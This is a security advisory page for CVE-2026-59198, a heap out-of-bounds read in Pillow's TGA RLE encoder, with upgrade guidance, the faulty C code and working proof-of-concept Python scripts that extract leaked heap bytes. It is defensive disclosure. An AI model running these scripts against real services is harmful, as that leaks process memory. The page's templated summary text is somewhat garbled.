CVE-2026-59198: Pillow Pillow TGA RLE Encoder Can Vulnerability

MODERATE
Advisory Identifier: GHSA-fj7v-r99m-22gq
CVSS 6.5
CWE-125
Published
Advisory Summary

CVE-2026-59198 is a MODERATE (CVSS 6.5) pillow tga rle encoder can vulnerability (CWE-125: Out-of-bounds Read) affecting Pillow libraries in the PyPI ecosystem. The issue involves pillow tga rle encoder can serialize up to ~57 kb of adjacent heap data into generated images. Remediation is available by upgrading affected packages to version 12.3.0.

CVE-2026-59198 at a Glance

CVE Identifier CVE-2026-59198
GHSA Identifier GHSA-fj7v-r99m-22gq
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-125: Out-of-bounds Read
Affected Product Pillow
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability Low (A:L)

How to Fix CVE-2026-59198

To remediate this vulnerability, upgrade all affected Pillow dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

Pillow fixed: 12.3.0
pip install Pillow>=12.3.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show Pillow

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-59198, inspect your installed packages using pip:

pip show Pillow

Analyze the terminal output to locate any version of Pillow in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 12.3.0), your application is affected.

Note: The pip show Pillow command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-125: Out-of-bounds Read, where the product reads data past the end, or before the beginning, of the intended buffer. In Pillow, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Pillow's TGA RLE encoder reads past its row buffer when saving a mode `"1"` image. Adjacent process heap bytes can be copied into the generated TGA file. The bug is reachable through the public save API: ```python im.save(out, format="TGA", compression="tga_rle") ``` Older affected Pillow versions use the equivalent public option `rle=True`. For mode `"1"`, Pillow allocates a packed row buffer of `ceil(width / 8)` bytes, but `ImagingTgaRleEncode()` treats the row as one full byte per pixel. The maximum valid TGA width is `65535`. At that width: ```text allocated packed row buffer: 8192 bytes encoder byte-offset walk: 65535 bytes maximum OOB window per row: 57343 bytes ``` On non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below serialized `57297` bytes from distinct out-of-bounds source offsets into one returned TGA, covering `99.92%` of the maximum adjacent heap window. No heap grooming, ctypes, private API, or malformed input file was used. The disclosure is emitted across many TGA packet payload copies of at most `128` bytes each, not one large `memcpy()`. ### Details `src/PIL/TgaImagePlugin.py` allows mode `"1"` TGA output and selects the `tga_rle` encoder when RLE compression is requested. `src/encode.c:_setimage()` allocates the row buffer using the packed-bit formula: ```c state->bytes = (state->bits * state->xsize + 7) / 8; state->buffer = (UINT8 *)calloc(1, state->bytes); ``` For mode `"1"`, `state->bits == 1`. `src/libImaging/TgaRleEncode.c` then computes: ```c bytesPerPixel = (state->bits + 7) / 8; ``` This becomes `1`, and the encoder uses pixel indexes as byte offsets: ```c static int comparePixels(const UINT8 *buf, int x, int bytesPerPixel) { buf += x * bytesPerPixel; return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0; } ``` The packet payload `memcpy()` later copies those out-of-bounds source bytes into the output. Raw packets copy up to `128` contiguous bytes, while RLE packets copy one representative byte: ```c memcpy( dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount ); ``` A width-2 mode `"1"` image allocates one row byte and already triggers an ASAN heap-buffer-overflow read. Wider images increase the adjacent heap window and the amount of heap data that can be serialized. ### PoC #### Minimal ASAN trigger ```python import io from PIL import Image out = io.BytesIO() Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle") ``` Observed on local Pillow `12.3.0.dev0` ASAN target: ```text ERROR: AddressSanitizer: heap-buffer-overflow READ of size 1 comparePixels /out/src/src/libImaging/TgaRleEncode.c:10 ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81 0 bytes after a 1-byte allocation from _setimage ``` #### Maximum-width heap disclosure This PoC uses one maximum-width row. It parses the generated TGA packets and extracts only payload bytes whose source offsets were outside the allocated packed row. Rows are avoided because they mostly repeat the same adjacent heap window. Run the following with a standard affected Pillow installation. ```python import hashlib import io import PIL from PIL import Image WIDTH = 65535 ATTEMPTS = 20 ROW_BYTES = (WIDTH + 7) // 8 MAX_OOB_WINDOW = WIDTH - ROW_BYTES def extract_oob_payload(data): i = 18 pixel = 0 oob = bytearray() while pixel < WIDTH: descriptor = data[i] i += 1 count = (descriptor & 0x7F) + 1 if descriptor & 0x80: value = data[i] i += 1 if pixel + count - 1 >= ROW_BYTES: oob.append(value) else: values = data[i : i + count] i += count oob.extend(values[max(ROW_BYTES - pixel, 0) :]) pixel += count return bytes(oob) best = b"" for _ in range(ATTEMPTS): out = io.BytesIO() Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle") oob = extract_oob_payload(out.getvalue()) if len(oob) > len(best): best = oob with open("/tmp/max_oob_bytes.bin", "wb") as fp: fp.write(best) print(f"Pillow={PIL.__version__}") print(f"packed_row_bytes={ROW_BYTES}") print(f"maximum_oob_window={MAX_OOB_WINDOW}") print(f"serialized_distinct_oob_offsets={len(best)}") print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}") print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}") print(f"sha256={hashlib.sha256(best).hexdigest()}") ``` Observed on installed Pillow `12.2.0`: ```text Pillow=12.2.0 packed_row_bytes=8192 maximum_oob_window=57343 serialized_distinct_oob_offsets=57297 nonzero_oob_bytes=54407 coverage=99.92% ``` ### Impact This is a heap out-of-bounds read and potential information disclosure. A maximum-width single-row image can cause nearly the full `57343`-byte adjacent heap window to be incorporated into one output file.

CVE-2026-59198 Affected Pillow Versions

1 component(s)
Fixed Versions:
12.3.0
Product / Package Ecosystem Affected Versions Fixed Version
Pillow
PyPI
≥ 5.2.0
< 12.3.0
12.3.0

References

Frequently Asked Questions

What is CVE-2026-59198?
CVE-2026-59198 is a security vulnerability in Pillow involving Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images under CWE-125: Out-of-bounds Read.
Which Pillow versions are affected?
Affected versions include releases prior to 12.3.0 across affected packages: Pillow.
What version fixes CVE-2026-59198?
Upgrading to 12.3.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is Pillow affected?
Yes, Pillow is affected in releases prior to 12.3.0. Upgrade your dependency to 12.3.0 or later.
What is the CVSS score of CVE-2026-59198?
CVE-2026-59198 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L.
What CWE is associated with CVE-2026-59198?
CVE-2026-59198 is classified under CWE-125: Out-of-bounds Read (The product reads data past the end, or before the beginning, of the intended buffer.).
How can I check PyPI dependencies for CVE-2026-59198?
Run the dependency tree command: 'pip show Pillow'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fj7v-r99m-22gq",
  "modified" : "2026-07-20T23:09:36Z",
  "published" : "2026-07-20T23:09:36Z",
  "aliases" : [ "CVE-2026-59198" ],
  "summary" : "Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images",
  "details" : "### Summary\n\nPillow's TGA RLE encoder reads past its row buffer when saving a mode `\"1\"`\nimage. Adjacent process heap bytes can be copied into the generated TGA file.\n\nThe bug is reachable through the public save API:\n\n```python\nim.save(out, format=\"TGA\", compression=\"tga_rle\")\n```\n\nOlder affected Pillow versions use the equivalent public option `rle=True`.\n\nFor mode `\"1\"`, Pillow allocates a packed row buffer of `ceil(width / 8)`\nbytes, but `ImagingTgaRleEncode()` treats the row as one full byte per pixel.\n\nThe maximum valid TGA width is `65535`. At that width:\n\n```text\nallocated packed row buffer: 8192 bytes\nencoder byte-offset walk:     65535 bytes\nmaximum OOB window per row:   57343 bytes\n```\n\nOn non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below serialized\n`57297` bytes from distinct out-of-bounds source offsets into one returned TGA,\ncovering `99.92%` of the maximum adjacent heap window. No heap grooming, ctypes,\nprivate API, or malformed input file was used. The disclosure is emitted across\nmany TGA packet payload copies of at most `128` bytes each, not one large\n`memcpy()`.\n\n### Details\n\n`src/PIL/TgaImagePlugin.py` allows mode `\"1\"` TGA output and selects the\n`tga_rle` encoder when RLE compression is requested.\n\n`src/encode.c:_setimage()` allocates the row buffer using the packed-bit\nformula:\n\n```c\nstate->bytes = (state->bits * state->xsize + 7) / 8;\nstate->buffer = (UINT8 *)calloc(1, state->bytes);\n```\n\nFor mode `\"1\"`, `state->bits == 1`.\n\n`src/libImaging/TgaRleEncode.c` then computes:\n\n```c\nbytesPerPixel = (state->bits + 7) / 8;\n```\n\nThis becomes `1`, and the encoder uses pixel indexes as byte offsets:\n\n```c\nstatic int\ncomparePixels(const UINT8 *buf, int x, int bytesPerPixel) {\n    buf += x * bytesPerPixel;\n    return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;\n}\n```\n\nThe packet payload `memcpy()` later copies those out-of-bounds source bytes into\nthe output. Raw packets copy up to `128` contiguous bytes, while RLE packets copy\none representative byte:\n\n```c\nmemcpy(\n    dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount\n);\n```\n\nA width-2 mode `\"1\"` image allocates one row byte and already triggers an ASAN\nheap-buffer-overflow read. Wider images increase the adjacent heap window and\nthe amount of heap data that can be serialized.\n\n### PoC\n\n#### Minimal ASAN trigger\n\n```python\nimport io\nfrom PIL import Image\n\nout = io.BytesIO()\nImage.new(\"1\", (2, 1)).save(out, format=\"TGA\", compression=\"tga_rle\")\n```\n\nObserved on local Pillow `12.3.0.dev0` ASAN target:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nREAD of size 1\ncomparePixels /out/src/src/libImaging/TgaRleEncode.c:10\nImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81\n0 bytes after a 1-byte allocation from _setimage\n```\n\n#### Maximum-width heap disclosure\n\nThis PoC uses one maximum-width row. It parses the generated TGA packets and\nextracts only payload bytes whose source offsets were outside the allocated\npacked row. Rows are  avoided because they mostly repeat the same adjacent heap window.\n\nRun the following with a standard affected Pillow installation.\n\n```python\nimport hashlib\nimport io\nimport PIL\nfrom PIL import Image\n\nWIDTH = 65535\nATTEMPTS = 20\nROW_BYTES = (WIDTH + 7) // 8\nMAX_OOB_WINDOW = WIDTH - ROW_BYTES\n\ndef extract_oob_payload(data):\n    i = 18\n    pixel = 0\n    oob = bytearray()\n\n    while pixel < WIDTH:\n        descriptor = data[i]\n        i += 1\n        count = (descriptor & 0x7F) + 1\n\n        if descriptor & 0x80:\n            value = data[i]\n            i += 1\n            if pixel + count - 1 >= ROW_BYTES:\n                oob.append(value)\n        else:\n            values = data[i : i + count]\n            i += count\n            oob.extend(values[max(ROW_BYTES - pixel, 0) :])\n\n        pixel += count\n\n    return bytes(oob)\n\n\nbest = b\"\"\n\nfor _ in range(ATTEMPTS):\n    out = io.BytesIO()\n    Image.new(\"1\", (WIDTH, 1), 0).save(out, format=\"TGA\", compression=\"tga_rle\")\n    oob = extract_oob_payload(out.getvalue())\n    if len(oob) > len(best):\n        best = oob\n\nwith open(\"/tmp/max_oob_bytes.bin\", \"wb\") as fp:\n    fp.write(best)\n\nprint(f\"Pillow={PIL.__version__}\")\nprint(f\"packed_row_bytes={ROW_BYTES}\")\nprint(f\"maximum_oob_window={MAX_OOB_WINDOW}\")\nprint(f\"serialized_distinct_oob_offsets={len(best)}\")\nprint(f\"nonzero_oob_bytes={sum(byte != 0 for byte in best)}\")\nprint(f\"coverage={len(best) / MAX_OOB_WINDOW:.2%}\")\nprint(f\"sha256={hashlib.sha256(best).hexdigest()}\")\n```\n\nObserved on installed Pillow `12.2.0`:\n\n```text\nPillow=12.2.0\npacked_row_bytes=8192\nmaximum_oob_window=57343\nserialized_distinct_oob_offsets=57297\nnonzero_oob_bytes=54407\ncoverage=99.92%\n```\n\n### Impact\n\nThis is a heap out-of-bounds read and potential information disclosure.\n\nA maximum-width single-row image can cause nearly the full\n`57343`-byte adjacent heap window to be incorporated into one output file.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "Pillow"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.2.0"
      }, {
        "fixed" : "12.3.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/security/advisories/GHSA-fj7v-r99m-22gq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-59198"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/pull/9709"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/commit/eada3cbd7fb9963ee90673fb7b5270124a0d5f4b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/python-pillow/Pillow"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-125" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-20T23:09:36Z",
    "nvd_published_at" : "2026-07-14T16:17:01Z"
  }
}